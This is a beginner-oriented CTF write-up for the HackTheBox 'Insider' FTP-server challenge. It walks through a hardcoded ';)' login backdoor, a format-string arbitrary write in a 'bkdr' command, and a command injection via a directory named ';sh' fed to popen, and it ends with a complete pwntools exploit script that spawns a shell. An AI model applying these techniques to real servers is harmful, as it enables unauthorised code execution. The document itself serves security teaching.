[HTB-Business22] Insider Writeup


Time for another writeup on this totally well maintained blog 👀. Insider was an exploit challenge during the 2022 Business CTF from HackTheBox named DirtyMoney. It was based on a simple FTP Server with a fun easteregg and different bugs and ways to exploit it.

This writeup describes an exploit which does in fact not use libc or one_gadget or any hooks .

TL;DR

As this writeup is aimed at beginners it's rather detailed and step-by-step. The TL;DR: First we use use ;) to login into the server. Then we use the bkdr command to trigger a format string bug. From that we overwrite the magic var on the stack to enable the list command. Lastly we leverage a command injection in the popen called by list by creating a dir with a semicolon. You can find the complete exploit code at the end. It's pretty self explanatory.

Getting Access

Starting off we get the ld-linux-x86-64.so.2 , the libc.so.6 and of course the challenge file itself. So naturally we load the binary into Binary Ninja and see what's up.

Challenge overview in disassembler

Now that's an FTP Server. We can see all the branches for what is probably the handling of different commands. Let's get a feel for what we are up against by interacting with it first:

1
2
3
4
5
220 Blablah FTP
list
530 Need login. Login first.
user asd
530 Cannot find user name. Do you belong here.

Well, looks like we can't even get in. The username check happens here:

Checking the username

We can see a call to getspnam at 0x2e48 which makes sense to check if the user actually exist on the system. But even before that is a curious branch calling another function which I already conveniently named check_backdoor since the challenge was shipped without symbols. And all it does is a simple check against a hardcoded value of ;) .

Backdoor function

This is of course an easteregg to the infamous vsftp backdoor from 2011 where logging in with :) resulted in an attempt to spawn a reverse shell. Anyway, we can now successfully login and use the FTP Server:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
220 Blablah FTP
user ;)
331 User name okay need password
pass ;)
230 User logged in proceed
pwd
257 "/challenge"
cdup
250 changd to parent directory success
pwd
257 "/"
list
retr flag.txt
500 FTP error: file not exist

We can change directories, show our current directory and retrieve files. But of course flag.txt does not exist. Interestingly the list command does nothing.

Bug hunting

So let's see what is actually supported by the server.

Supported commands

Nothing really unexpected. Curious that list is indeed supported but does not produce any output. We will note that down for later. One command spawns some interest as I've never seen it before on an FTP Server: bkdr . And it's also super close to backdoor . Why would that be? Let's take a look:

Backdoor function code

It does some memory magic and calls a function I named output . Because all output does is call vsnprintf and write as can be seen here:

output code

And as is already marked there is a potential for a format string bug. And since bkdr calls this function on our input without any format string it is indeed vulnerable:

1
2
3
4
5
6
7
220 Blablah FTP
user ;)
331 User name okay need password
pass ;)
230 User logged in proceed
bkdr %p.%p.%p
431136 bkdr 0x3.0xa0d.(nil)

Neat!

Formatstring Exploit

Now you will notice by pasting quite a few %p that there is simply nothing on the stack. That is due to the huge buffer assigned for the user input. So let's get to scripting. First, setup the usual skeleton for our exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from pwn import *

#convenience Functions
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data, timeout=context.timeout)

# Exploit configs
binary = ELF('chall')
remote_ip = '<Challenge Offline now :(>'
remote_port = 1337
libc = ELF('libc.so.6', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)

if __name__ == '__main__':
    context.log_level = 'debug'
    # call with NOPTRACE to skip gdb attach
    # call with REMOTE to run against live target

    if args.REMOTE:
        args.NOPTRACE = True # disable gdb when working remote
        io = remote(remote_ip, remote_port)
    else:
        io = process([ld.path, binary.path], env={b'LD_PRELOAD': libc.path})

    sla(b'\n', b'user ;)')
    sla(b'\n', b'pass ;)')
    io.interactive()

Now to find our offset we can simply loop the bkdr command and check for our input [And when I say simply, I mean it took me like 2 hours to get over the point that every offset returned (nil) and I had to look further].

1
2
3
4
5
6
7
# [...]
for i in range(2000):
    sla(b'\n', f'bkdr %{i}$pAAAA'.encode())
    if b'41' in io.recvuntil('AAAA'):
        print(f"found offset at {i}")
        break
io.interactive()

Running that gives us:

1
2
3
[DEBUG] Received 0x25 bytes:
    b'431136 bkdr 0x4170243133303125AAAA \r\n'
found offset at 1031

An usual exploit path

Now we have an arbitrary write since we can put any address on the stack and reference it with an offset starting from 1031 using %1031$hn to write. And also read since we can read any stack value and print it. Neat. Now you could go the old fashioned route of leaking libc, overwriting something like __free_hook with one_gadget and so on. But fuck format string exploits. At this point I also had put quite a bit of time into reversing the program and checking why the list command doesn't produce any output? Remember the one from before? Yeah, let's see:

output code

So basically there is a "Magic Variable" at $rbp-0x10 which is checked in a signed comparison against 0, so it basically has to be >0 for the list command to execute. After that the program fetches the current directory with getcwd and then uses popen . Wait what? Yeah, it calls ls -l %s . Since %s is substituted with our current directory we can't do anything bad, can we? Well turns out a semicolon is a totally valid character for folders in linux. Since the server allows us to create directories with mkd and switch them freely with cwd we can actually abuse this for a command injection. All that's left is overwriting the stack variable. But all we actually have to do is make it positive, so we don't have to actually craft a format string :)

Getting the offsets is easy enough with gdb. First we set some breakpoints on the magic var check of list` and the vulnerable vsnprintf call. We use the second to note down an easy to find stack leak. And then we simply calculate the offset to our target address. ASLR will not matter as the stack layout will always be the same.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gef➤  b *0x00555555554000+0x3086
Breakpoint 1 at 0x555555557086
gef➤  b *0x00555555554000+0x241c
Breakpoint 2 at 0x55555555641c
gef➤  c
Continuing.
230 User logged in proceed
bkdr AAAA

Breakpoint 2, 0x000055555555641c in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007fffffff7650  →  "230 User logged in proceed \r\n"
$rbx   : 0x00555555557a30  →   push r15
$rcx   : 0x007fffffff8658  →  0x0000003000000008
$rdx   : 0x007fffffffa730  →  "%d bkdr AAAA \r\n"
$rsp   : 0x007fffffff7640  →  0x0000000000000000
$rbp   : 0x007fffffff8720  →  0x007fffffffdc80  →  0x007fffffffdc90  →  0x0000000000000000
$rsi   : 0x1000
$rdi   : 0x007fffffff7650  →  "230 User logged in proceed \r\n"
$rip   : 0x0055555555641c  →   call 0x5555555560a0 <vsnprintf@plt>
$r8    : 0x0
$r9    : 0x007fffffff75b0  →  0x0000000000000000
$r10   : 0xe6
$r11   : 0x246
$r12   : 0x00555555556290  →   xor ebp, ebp
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0

At the first breakpoint we can see that we have a stack address in r9 which can easily be read with %5$p . So let's note that down

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
gef➤  c
Continuing.
431136 bkdr AAAA
list

Breakpoint 1, 0x0000555555557086 in ?? ()

[...]

gef➤  print $rbp-0x10
$1 = (void *) 0x7fffffffdc70
gef➤  x/gx $rbp-0x10
0x7fffffffdc70:     0xffffffffffffffff
gef➤  print 0x7fffffffdc70-0x007fffffff75b0
$3 = 0x66c0

Hitting the breakpoint at the magic var check we can readout the address of $rbp-0x10 , check that it is actually set to 0xffffffffffffffff , so definitely negative. And finally we can calculate the offset to our magic var. Now that we got everything let's move on to exploitation and extend our script accordingly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
sla(b'\n', b'mkd ;sh')
sla(b'\n', b'cwd ;sh')
sla(b'\n', b'bkdr %5$lp pwn')
leak = int(io.recvuntil(b'pwn').split()[2], 16)
target = leak+0x66c0
success(f"LEAK @ 0x{leak:012x}")
success(f"TARG @ 0x{target:012x}")

sla(b'\n', b'bkdr .%1033$n.%1034$n'+ p64(target+4)+p64(target+1)) # <- poc arbitrary write
io.recv(2)
info("Enter LIST to spawn shell :)")
io.interactive()

Neat. Let's try it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ./writeup.py
[*] '/home/galile0/vm_transfer/business22/insider/challenge/chall'
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./'
[+] Starting local process '/home/galile0/vm_transfer/business22/insider/challenge/ld-linux-x86-64.so.2': pid 223243
[+] LEAK @ 0x7ffe91635e60
[+] TARG @ 0x7ffe9163c520
[*] Enter LIST to spawn shell :)
[*] Switching to interactive mode
1136 bkdr ..$\xc5c\x91\xfe\xlist
$ id
$ exit
total 2672
drwxrwx--- 1 root vboxsf       0 Jul 18 22:24 ;sh
-rwxrwx--- 1 root vboxsf   27624 Jun  5 18:21 chall
-rwxrwx--- 1 root vboxsf  466944 Jul 17 09:49 chall.bndb
-rwxrwx--- 1 root vboxsf       0 Jul 18 21:38 core
-rwxrwx--- 1 root vboxsf    3246 Jul 17 09:42 exploit.py
-rwxrwx--- 1 root vboxsf   21176 Jul 17 02:00 get_flag
-rwxrwx--- 1 root vboxsf  220320 Jun  4 17:01 ld-linux-x86-64.so.2
-rwxrwx--- 1 root vboxsf 1983608 Jun  4 17:01 libc.so.6
-rwxrwx--- 1 root vboxsf    1727 Jul 18 22:26 writeup.py
uid=1000(galile0) gid=1000(galile0) groups=1000(galile0),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),133(scanner),141(vboxsf),142(kaboxer)

Now of course we don't get any output until popen returns and the file (or the pipe in this case?) is read. But since this exploit is 100% reliable (This time for real, I swear), we can just execute it twice to list files and read it afterwards.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1136 bkdr ..\xf4Lj\xfe\list
$ ls -alh
$ exit
total 2216
drwxr-sr-x    2 ctf      ctf           4096 Jul 18 20:29 ;sh
-rwxr-xr-x    1 root     root         27624 Jul 12 12:04 chall
-rwsrwsr-x    1 root     root         21176 Jul 12 12:04 get_flag
-rwxr-xr-x    1 root     root        220320 Jul 12 12:04 ld-linux-x86-64.so.2
-rwxr-xr-x    1 root     root       1983608 Jul 12 12:04 libc.so.6
drwxrwx--x    1 root     ctf           4096 Jul 13 13:16 vault

[...]
1136 bkdr ..\xe47?\x85\xff\list
$ cd ..
$ ./get_flag
$ exit
total 2216
drwxr-sr-x    2 ctf      ctf           4096 Jul 18 20:29 ;sh
-rwxr-xr-x    1 root     root         27624 Jul 12 12:04 chall
-rwsrwsr-x    1 root     root         21176 Jul 12 12:04 get_flag
-rwxr-xr-x    1 root     root        220320 Jul 12 12:04 ld-linux-x86-64.so.2
-rwxr-xr-x    1 root     root       1983608 Jul 12 12:04 libc.so.6
drwxrwx--x    1 root     ctf           4096 Jul 13 13:16 vault
HTB{Private_Key_H@McQfTjWnZr4u7x!A%D*G-KaNdRgUkX}

Please note the cd .. because we are still in our ;sh directory. ls seems to gracefully deal with this, but for our process there is no get_flag in the current dir. Fun Times! I hope you could follow along and maybe learn something new (For example that you can do command injections with folder names :D). You can find the final script below.

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *

#convenience Functions
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data, timeout=context.timeout)

# Exploit configs
binary = ELF('chall')
remote_ip = '206.189.124.56'
remote_port = 32553
libc = ELF('libc.so.6', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)

if __name__ == '__main__':
    #context.log_level = 'debug'
    # call with NOPTRACE to skip gdb attach
    # call with REMOTE to run against live target

    if args.REMOTE:
        args.NOPTRACE = True # disable gdb when working remote
        io = remote(remote_ip, remote_port)
    else:
        io = process([ld.path, binary.path], env={b'LD_PRELOAD': libc.path})

    sla(b'\n', b'user ;)')
    sla(b'\n', b'pass ;)')

    # Code for finding input offset
    # for i in range(2000):
    #     sla(b'\n', f'bkdr %{i}$pAAAA'.encode())
    #     if b'41' in io.recvuntil('AAAA'):
    #         print(f"found offset at {i}")
    #         break

    sla(b'\n', b'mkd ;sh')
    sla(b'\n', b'cwd ;sh')
    sla(b'\n', b'bkdr %5$lp pwn')
    leak = int(io.recvuntil(b'pwn').split()[2], 16)
    target = leak+0x66c0
    success(f"LEAK @ 0x{leak:012x}")
    success(f"TARG @ 0x{target:012x}")

    sla(b'\n', b'bkdr .%1033$n.%1034$n'+ p64(target+4)+p64(target+1)) # <- poc arbitrary write
    io.recv(2)
    info("Enter LIST to spawn shell :)")
    io.interactive()